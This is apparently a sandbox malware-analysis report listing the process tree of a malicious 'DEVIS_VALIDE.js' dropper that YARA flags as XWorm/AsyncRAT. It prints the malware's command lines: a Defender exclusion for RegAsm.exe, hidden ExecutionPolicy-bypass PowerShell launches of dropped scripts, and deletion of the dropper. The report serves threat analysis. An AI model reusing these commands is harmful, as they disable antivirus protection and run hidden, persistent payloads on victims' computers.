                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:6
                                                                                                                                        Start time:05:06:17
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:7
                                                                                                                                        Start time:05:06:17
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:8
                                                                                                                                        Start time:05:06:19
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'"
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:9
                                                                                                                                        Start time:05:06:19
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'"
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:10
                                                                                                                                        Start time:05:06:19
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:11
                                                                                                                                        Start time:05:06:19
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:12
                                                                                                                                        Start time:05:06:22
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                        Imagebase:0x7ff693ab0000
                                                                                                                                        File size:496'640 bytes
                                                                                                                                        MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                        Has elevated privileges:true
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:15
                                                                                                                                        Start time:05:06:22
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:16
                                                                                                                                        Start time:05:06:22
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:20
                                                                                                                                        Start time:05:06:29
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:21
                                                                                                                                        Start time:05:06:29
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js"
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:22
                                                                                                                                        Start time:05:06:30
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:23
                                                                                                                                        Start time:05:06:31
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0x190000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:24
                                                                                                                                        Start time:05:06:31
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0x820000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:25
                                                                                                                                        Start time:05:06:33
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:26
                                                                                                                                        Start time:05:06:34
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:27
                                                                                                                                        Start time:05:06:34
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:28
                                                                                                                                        Start time:05:06:35
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:29
                                                                                                                                        Start time:05:06:35
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:30
                                                                                                                                        Start time:05:06:37
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:31
                                                                                                                                        Start time:05:06:38
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:32
                                                                                                                                        Start time:05:06:38
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0xcb0000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:33
                                                                                                                                        Start time:05:06:39
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:34
                                                                                                                                        Start time:05:06:43
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:35
                                                                                                                                        Start time:05:06:43
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:36
                                                                                                                                        Start time:05:06:43
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:37
                                                                                                                                        Start time:05:06:43
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:38
                                                                                                                                        Start time:05:06:45
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:39
                                                                                                                                        Start time:05:06:46
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:40
                                                                                                                                        Start time:05:06:46
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0xcf0000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:41
                                                                                                                                        Start time:05:06:48
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:42
                                                                                                                                        Start time:05:06:52
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:43
                                                                                                                                        Start time:05:06:52
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:44
                                                                                                                                        Start time:05:06:52
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
